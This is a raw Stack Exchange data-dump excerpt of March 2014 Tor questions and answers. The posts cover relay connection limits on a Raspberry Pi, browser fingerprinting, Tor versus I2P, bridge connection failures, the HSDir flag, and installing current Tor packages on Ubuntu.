  <row Id="1715" PostTypeId="1" AcceptedAnswerId="1717" CreationDate="2014-03-14T22:06:05.353" Score="3" ViewCount="1895" Body="&lt;p&gt;I'm running a relay on my Raspberry Pi due to its low power consumption and simplicity, and have it set up to run headless via SSH so I can monitor it with tor-arm. My issue is that the longer my relay is running and the more Tor flags it gets, the more connections are made to my relay (mostly incoming) until it gets swamped and crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first few days of operating my relay will have the flags Fast, HSDir, Running, V2Dir and Valid, and will average between 100 and 200 total connections perfectly fine. After three or four days it will gain the Stable flag, and that's when I will see incoming connections skyrocket; my Pi will handle 300 to 400 total connections but after that will struggle, and 500+ for an extended period will cause it to crash or reset, losing all connections and Tor flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to somehow impose a limit on the total number of connections made by my relay? If I could keep the number of connections below 300, my Pi relay would always be rock solid and more worthy of the Stable flag when garnered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Tor version 0.2.4.21.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2014-03-15T05:01:12.337" Title="Is it possible to limit the number of incoming and outgoing connections on a Tor relay?" Tags="|relays|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1716" PostTypeId="1" CreationDate="2014-03-15T01:30:47.730" Score="1" ViewCount="89" Body="&lt;p&gt;Is it possible to link different Tor identies (uses of Tor at different times) by using the Bookmarks, settings of various components of the browser, or cosmetic alterations to the toolbars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has occured to me that a persons Bookmarks would act as a unique fingerprint, so would various modifications most people make to their browser in the normal course of use. Is their any way an attacker could access that data?&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-06-13T08:51:23.827" Title="Is it possible to link different uses of Tor by using normal changes to the browser (such as bookmarks)?" Tags="|anonymity|security|attacks|fingerprinting|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1717" PostTypeId="2" ParentId="1715" CreationDate="2014-03-15T01:36:44.570" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Manual&lt;/a&gt; doesn't list a configuration option for limiting the connected clients. But it seems &lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt; option can be used to reduce the number of clients by reducing the chance of being selected for a circuit (since this depends on the advertised bandwidth):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server operators who want to reduce the number of clients who ask to build circuits through them (since this is proportional to advertised bandwidth rate) can thus reduce the CPU demands on their server without impacting network performance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt; entry titled &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#RelayMemory&quot; rel=&quot;nofollow&quot;&gt;Why is my Tor relay using so much memory?&lt;/a&gt; also suggest this configuration option for reducing the memory load:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you still can't handle the memory load, consider reducing the amount of bandwidth your relay advertises. Advertising less bandwidth means you will attract fewer users, so your relay shouldn't grow as large[...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So even the bandwidth is not your bottleneck, you may hopefully use this limit to keep the number of clients low.&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="731" LastEditDate="2014-03-15T05:01:12.337" LastActivityDate="2014-03-15T05:01:12.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1718" PostTypeId="2" ParentId="1716" CreationDate="2014-03-15T06:41:51.477" Score="1" Body="&lt;p&gt;The browser modifications that are available to websites can definitely act as a fingerprint and should be avoided. Plugins, browser addons and anything that changes the dimension of toolbars may fall into this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, websites cannot access your bookmarks. But I would never store random bookmarks in my Tor Browser since they may include unique identifiers or scripts that may be used to link your identity across different sessions.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-03-15T06:41:51.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostTypeId="2" ParentId="1714" CreationDate="2014-03-15T11:07:48.250" Score="5" Body="&lt;p&gt;Tor and I2P have a number of similarities. Tor however has a big benefit when you are leaving the Tor network. I2P's exit system is basically a really limited set of proxies, which makes attacking you by analyzing the traffic at the exit easier. It's a game of numbers. There are very few exit nodes (they call them outproxies sometimes) compared to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing here is the Tor Browser Bundle. It's a strongly patched version of Firefox that gives you a number of protections. On I2P you usually use an unpatched browser that is easier to track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that Tor has a bigger academic research community, finding way to attack it and proposing ways to fix it. This is something that's really important in everything security related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great comparison can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://geti2p.net/en/comparison/tor&quot; rel=&quot;noreferrer&quot;&gt;https://geti2p.net/en/comparison/tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a better answer a specific use case would be required. There are many people running Tor for many purposes, being a relay, avoiding censorship, browsing the web anonymously, setting up a hidden service, etc. The answer may vary depending on the perspective and the use case.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-15T11:07:48.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostTypeId="2" ParentId="64" CreationDate="2014-03-15T11:14:46.120" Score="10" Body="&lt;p&gt;If you want to do this you should really try I2P. It comes with Bittorrent built in and I2P has many similarities with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://geti2p.net/&quot;&gt;https://geti2p.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-15T11:14:46.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1721" PostTypeId="2" ParentId="1573" CreationDate="2014-03-15T11:19:00.713" Score="0" Body="&lt;p&gt;In addition to what other people already stated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be careful with Erinn Clark's (and every other) signature! There are people putting fake keys online:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2014-March/006422.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2014-March/006422.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-15T11:19:00.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostTypeId="2" ParentId="693" CreationDate="2014-03-15T21:36:34.523" Score="3" Body="&lt;p&gt;The old version of obfsproxy written in C is mostly deprecated, and it is expected that no further development work on it will be done.  The only legitimate use of it these days is as part of orbot (though I'm trying to kill it there as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as of obfsproxy 0.2.7 (The Python/Twisted version), it no longer uses SOCKS4 and instead uses SOCKS5.  It apparently works with OpenVPN (Someone was testing earlier versions of the code with OpenVPN/ScrambleSuit) as long as care is taken to work around the fact that the OpenVPN SOCKS client has &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2014-March/006427.html&quot; rel=&quot;nofollow&quot;&gt;a bug&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since obfs3 does not use the SOCKS5 username/password fields for anything, as long as a non-0 length SOCKS username/password are set in the OpenVPN config, things should work, though I have not tested that.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-03-15T21:36:34.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostTypeId="1" CreationDate="2014-03-15T22:17:29.527" Score="2" ViewCount="649" Body="&lt;p&gt;I would like to set the Tor browser as my default browser but the setting in options/advanced is not working or will not hold.  How do I fix this?  I'm running Windows XP / Firefox 27.0.1  &lt;/p&gt;&#xA;" OwnerUserId="1375" LastEditorDisplayName="user5" LastEditDate="2015-01-03T14:22:09.660" LastActivityDate="2018-01-12T04:37:37.570" Title="Set TBB as the default browser in Windows XP?" Tags="|windows|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostTypeId="1" CreationDate="2014-03-16T07:26:45.657" Score="1" ViewCount="15675" Body="&lt;p&gt;Can anyone tell me how can I use internet download manager downloading movies on Tor browser please?  I mean; when you use Tor Browser and need to download a movie file using Internet Download Manager or Flashget as a download accelerators,it must stars downloading ,Right? But it doesn't start downloading from Tor Browser on my PC!! How can I set Tor Browser as a default browser on my IDM accelerator on my PC??&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2014-04-16T04:08:31.040" Title="How can I download using accelerators?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1727" PostTypeId="2" ParentId="1442" CreationDate="2014-03-16T10:24:13.657" Score="2" Body="&lt;p&gt;The Hidden Wiki is now down. Doxbin took over the kvpz onion domain and redirects it to Doxbin. So now use this link :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://kpvz7ki2lzvnwve7.onion.to/wiki/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;https://kpvz7ki2lzvnwve7.onion.to/wiki/index.php/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1378" LastActivityDate="2014-03-16T10:24:13.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostTypeId="1" CreationDate="2014-03-17T00:12:59.433" Score="2" ViewCount="737" Body="&lt;p&gt;&lt;strong&gt;could you tell me whether it is a wise idea to use Tor&#xA;in conjunction with the password manager Dashlane?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Dashlane can store data locally, it still requires&#xA;- as far as I am correct here - a login to their site, each&#xA;time you want to unlock your password safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can image this under circumstances compromising your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="1383" LastEditorDisplayName="user5" LastEditDate="2014-03-17T09:01:14.727" LastActivityDate="2014-03-25T17:23:47.107" Title="Tor + Dashlane = Anonymous?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1730" PostTypeId="1" CreationDate="2014-03-17T00:19:52.217" Score="3" ViewCount="1073" Body="&lt;p&gt;&lt;em&gt;Could you tell me whether running a Tor.exe in the WINE emulator&#xA;under Debian might compromise anonymity?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I need to run Tor Browser together with a password manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option I see is using Dashlane for Windows together&#xA;with a Windows version of the Tor Browser Bundle.&#xA;Pretty inelegant though. I just was not able, even after numerous attempts,&#xA;to get KeePass to work on my Debian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can run Dashlane well on Wine though.&#xA;Maybe Wine offers a workaround here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet I am concerned about compromising my anonymity.&lt;/p&gt;&#xA;" OwnerUserId="1383" LastEditorUserId="88" LastEditDate="2014-04-17T07:35:34.990" LastActivityDate="2014-08-19T06:44:17.907" Title="Tor in WINE = Anonymous?" Tags="|tor-browser-bundle|windows|debian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostTypeId="2" ParentId="1729" CreationDate="2014-03-17T01:26:05.720" Score="2" Body="&lt;p&gt;It sounds as if using Dashlane will harm your anonymity however if you click the new identity button after logging in to Dashlane then you will regain your anonymity. Also Firefox has an &lt;a href=&quot;https://support.mozilla.org/en-US/kb/security-and-passwords-settings?esab=a&amp;amp;s=password+store&amp;amp;r=6&amp;amp;as=s#w_passwords&quot; rel=&quot;nofollow&quot;&gt;inbuilt password save feature&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1050" LastActivityDate="2014-03-17T01:26:05.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1732" PostTypeId="2" ParentId="1726" CreationDate="2014-03-17T02:58:55.567" Score="1" Body="&lt;p&gt;Using Download accelerators &lt;strong&gt;will harm your anonymity&lt;/strong&gt;. But if you must use one then you can use &quot;&lt;a href=&quot;http://downthemall.net/&quot; rel=&quot;nofollow&quot;&gt;Down Them all&lt;/a&gt;&quot; which is a Firefox add-on and will download all files over Tor.&lt;/p&gt;&#xA;" OwnerUserId="1050" LastActivityDate="2014-03-17T02:58:55.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1733" PostTypeId="1" CreationDate="2014-03-17T08:25:31.380" Score="3" ViewCount="1633" Body="&lt;p&gt;i think hidden services are the dark nets inside the TOR network. I am not hosting any web servers. Then how my OR is flagged as HSDir?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorDisplayName="user5" LastEditDate="2014-03-17T08:57:54.197" LastActivityDate="2017-06-11T22:47:16.830" Title="Why does my relay have the HSDir flag when I don't host any hidden services?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostTypeId="2" ParentId="1733" CreationDate="2014-03-17T08:54:13.337" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden service&lt;/a&gt; directories are not required to host hidden services themselves (this would be a security concern; greatly reducing the number of possible locations a hidden service could be hosted). Having the &lt;code&gt;HSDir&lt;/code&gt; flag indicates that your router is configured to host hidden service descriptors (which other Tor relays use to find out about hidden services and connect to them) and has been up for at least 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about the &lt;code&gt;HSDir&lt;/code&gt; flag can be found in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rendezvous Specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="17825" LastEditDate="2017-06-11T22:47:16.830" LastActivityDate="2017-06-11T22:47:16.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostTypeId="1" CreationDate="2014-03-17T11:51:29.797" Score="4" ViewCount="85" Body="&lt;p&gt;Can anyone tell me how to know how many circuits are being build through my Tor relay(OR)? I am using vidalia.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="923" LastEditDate="2014-06-30T22:51:54.457" LastActivityDate="2014-06-30T22:51:54.457" Title="How to know the number of circuits through my Tor relay(OR)?" Tags="|relays|configuration|circuit|" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-10T01:10:38.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="1736" PostTypeId="2" ParentId="1730" CreationDate="2014-03-17T22:40:57.777" Score="3" Body="&lt;p&gt;If the application appears to be running correctly under Wine, you can assume it is fully functional. The execution environment should not affect the application's behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One consideration is that perhaps malware targeting Windows can now attack your Tor session. &lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-03-17T22:40:57.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1737" PostTypeId="1" CreationDate="2014-03-18T05:35:30.363" Score="3" ViewCount="1170" Body="&lt;p&gt;I have read about Computing Bandwidth weights in Tor directory protocol, version 3. But I could not understand about how bandwidth weights are calculated. And since they appear only once in consensus, how they help in path selection by network balancing?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-05-09T08:13:04.053" Title="can anyone tell me about the bandwidth weights?" Tags="|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostTypeId="1" CreationDate="2014-03-18T13:03:33.583" Score="1" ViewCount="1298" Body="&lt;p&gt;Sir I am connecting to tor network using tor bridges since direct connection with tor is blocked in our area.But what i got message after connection failed is provided below;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3/18/2014 18:23:34 PM.473 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2014 18:23:34 PM.473 [WARN] Pluggable transport proxy (obfs2,obfs3 exec Tor\PluggableTransports\obfsproxy managed) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (obfs2,obfs3 exec Tor\PluggableTransports\obfsproxy managed) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (obfs2,obfs3 exec Tor\PluggableTransports\obfsproxy managed) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (obfs2,obfs3 exec Tor\PluggableTransports\obfsproxy managed) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [WARN] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;3/18/2014 18:23:34 PM.474 [NOTICE] Renaming old configuration file to &quot;G:\tor\Tor with scramblesuit\Data\Tor\torrc.orig.1&quot; &#xA;3/18/2014 18:23:34 PM.514 [NOTICE] Bootstrapped 5%: Connecting to directory server. &#xA;3/18/2014 18:23:34 PM.514 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server. &#xA;3/18/2014 18:28:36 PM.492 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn) &#xA;3/18/2014 18:28:36 PM.492 [WARN] 1 connections have failed: &#xA;3/18/2014 18:28:36 PM.493 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/18/2014 18:28:49 PM.736 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 2; recommendation warn) &#xA;3/18/2014 18:28:49 PM.736 [WARN] 2 connections have failed: &#xA;3/18/2014 18:28:49 PM.736 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using tor bundle from the given weblin &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/pluggable-transports.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="88" LastEditDate="2014-04-22T10:43:36.897" LastActivityDate="2014-04-22T10:43:36.897" Title="Tor browser is not connecting in stead of using tor bridges" Tags="|tor-browser-bundle|censorship|obfsproxy|" AnswerCount="0" CommentCount="4" ClosedDate="2016-06-08T07:01:16.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostTypeId="1" CreationDate="2014-03-18T21:02:56.700" Score="1" ViewCount="169" Body="&lt;p&gt;Yesterday I created a new Facebook profile with a fictitious name which does not make any sense, i.e. I chose a name like Regaldoes Mondwse and such names do not exist in my country. I was using TBB. When I created the profile, it showed me the pages of newspapers/celebrities belonging to my country. How did Facebook know that I belong to that country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I created two more profiles with weird names again, and Facebook asked me if I belong to a particular city of my country. It again showed the pages of celebrities and products of my own country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Exit node did not belong to my country as I tried different nodes every time to see if Facebook really gets our location through some hidden script. I checked the Account setting of Facebook to see my login detail to see my location. It was showing my location of Germany (the IP address of Exit node) and not my country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the issue with it? If exit belongs to other country and has nothing to do with my country, how Facebook could know my location and how could it show me the pages of celebrities of my country?&lt;/p&gt;&#xA;" OwnerUserId="1395" LastEditorUserId="923" LastEditDate="2015-01-21T10:39:22.170" LastActivityDate="2015-01-21T10:39:22.170" Title="Something Serious -TBB Leaking Location indirectly to Facebook" Tags="|tor-browser-bundle|information-leaks|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostTypeId="1" CreationDate="2014-03-18T23:11:29.290" Score="4" ViewCount="2199" Body="&lt;p&gt;What is best secure and anonymous OS for hosting Tor or I2P service ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ُEditing:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want server OS full support php and mysql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused in choosing ٍServer OS (Debian - Ubuntu - Centos - Redhat)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1397" LastEditorUserId="1397" LastEditDate="2014-03-19T02:49:03.577" LastActivityDate="2014-03-22T20:08:07.687" Title="What is best secure and anonymous OS for hosting Tor or I2P service?" Tags="|security|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostTypeId="1" CreationDate="2014-03-18T23:15:28.713" Score="4" ViewCount="369" Body="&lt;p&gt;I followed the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;instructions to install Tor in Ubuntu 12.04 LTS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I invoke Tor from the command line it proceeds to the point that I'm told that it has bootstrapped 100% and a circuit is established.  But then I keep getting the warning,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Got a certificate for ides, but we already have it.  Maybe they haven't updated it.  Waiting for a while.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and it loops forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also warned that I have an old version of Tor, 0.2.2.25, although my understanding is that the correct version should have been installed.  Doc says that &lt;code&gt;apt-get update&lt;/code&gt; will fix my problem but it seems to do so.  Not Good.  In the end I don't care what flavor of *nix I run since I won't use the machine for anything but for running the relay currently on my other machine, but I heard Ubuntu is easy to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; is vanilla except for changing &lt;code&gt;SocksPort&lt;/code&gt;  to 9053 so that it wouldn't collide w / my  relay running on another machine.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to I get Tor to boot successfully ?&lt;/li&gt;&#xA;&lt;li&gt;How do I get the latest version? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is but my second day of using *nix, so be gentle and detailed  w/ me.&lt;/p&gt;&#xA;" OwnerUserId="1398" LastEditorUserId="88" LastEditDate="2014-03-19T15:40:40.993" LastActivityDate="2014-04-18T16:45:09.523" Title="Problem running Tor under Ubuntu" Tags="|configuration|ubuntu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostTypeId="2" ParentId="1743" CreationDate="2014-03-19T08:33:18.027" Score="3" Body="&lt;p&gt;I'm trying to suggest OpenBSD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may read the &lt;a href=&quot;http://www.openbsd.org/faq/index.html&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;, it is great documentation. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysql, php support.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Great security mechanisms shall give you kind of protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to say about anonymity. If you would stay as a node of network, you will be listed everywhere, e.g. here &lt;a href=&quot;http://torstatus.blutmagie.de&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are interesting in the hidden service of Tor, you need no to stay like a node of network. Here you are probably can achieve kind of anonymity of your OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, you could cut of every banners, every labels. Client of your hidden service will not be able to recognize what kind of OS you are using, Windows or Unix-like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may setup your hidden service of Tor inside the Virtual Machine based on liveCD of OpenBSD with securitylevel=2. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, as you mention you want to launch I2P relay. OpenBSD only for the last year has Java support. Here might be bugs.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2014-03-19T08:33:18.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostTypeId="1" CreationDate="2014-03-19T09:04:22.257" Score="1" ViewCount="393" Body="&lt;p&gt;I'm having difficulty getting my hidden service working correctly. I have worked on many apache systems before but for some reason I can't get this one working. I have followed all the steps &lt;a href=&quot;http://nfokjgfj3hxs4nwu.onion/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and installed raspbian. Everything compiles correctly and installs just fine. No errors or anything but when all is said and done (port forwarding included) my onion address is unreachable. I have tried changing the port to 80 instead of what I had it as (8080) but that also didn't work. Only once did I get it to show an error 500 page. Any help would be greatly appreciated. I should also mention that both the access log and regular log show no errors or problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1399" LastEditorUserId="88" LastEditDate="2014-03-20T11:52:19.650" LastActivityDate="2014-05-22T16:03:14.040" Title="Hidden server is not reachable on my Raspberry Pi" Tags="|onion-services|configuration|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1749" PostTypeId="2" ParentId="1744" CreationDate="2014-03-19T10:10:53.783" Score="1" Body="&lt;p&gt;You should not use the packages from Ubuntu repository as the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;Debian/Ubuntu Instructions page&lt;/a&gt; (also linked above :) explains:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do not use the packages in Ubuntu's universe. In the past they have not reliably been updated. That means you could be missing stability and security fixes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You just need to go to the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt; and select GNU/Linux[..] option. Tor Browser Bundle will come with an up-to-date version of Tor.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-03-19T10:10:53.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1751" PostTypeId="2" ParentId="1744" CreationDate="2014-03-19T15:52:05.860" Score="1" Body="&lt;p&gt;Ubuntu 12.04 ships &lt;a href=&quot;http://packages.ubuntu.com/precise/tor&quot; rel=&quot;nofollow&quot;&gt;Tor 0.2.2.35-1&lt;/a&gt; at the moment. Assuming you made a typo (25 instead of 35) it seems you have installed this version. Open a terminal and enter &lt;code&gt;apt-cache policy tor&lt;/code&gt;. Now you'll see what version is installed and if there is maybe an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't see a newer version of Tor check the steps at the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;instruction page&lt;/a&gt;. Make sure to have the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb     http://deb.torproject.org/torproject.org precise main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; or the file where you keep this information. Furthermore it is important to execute an &lt;code&gt;apt-get update&lt;/code&gt;. Only after this step &lt;code&gt;apt&lt;/code&gt; is able to find the new version of Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-19T15:52:05.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
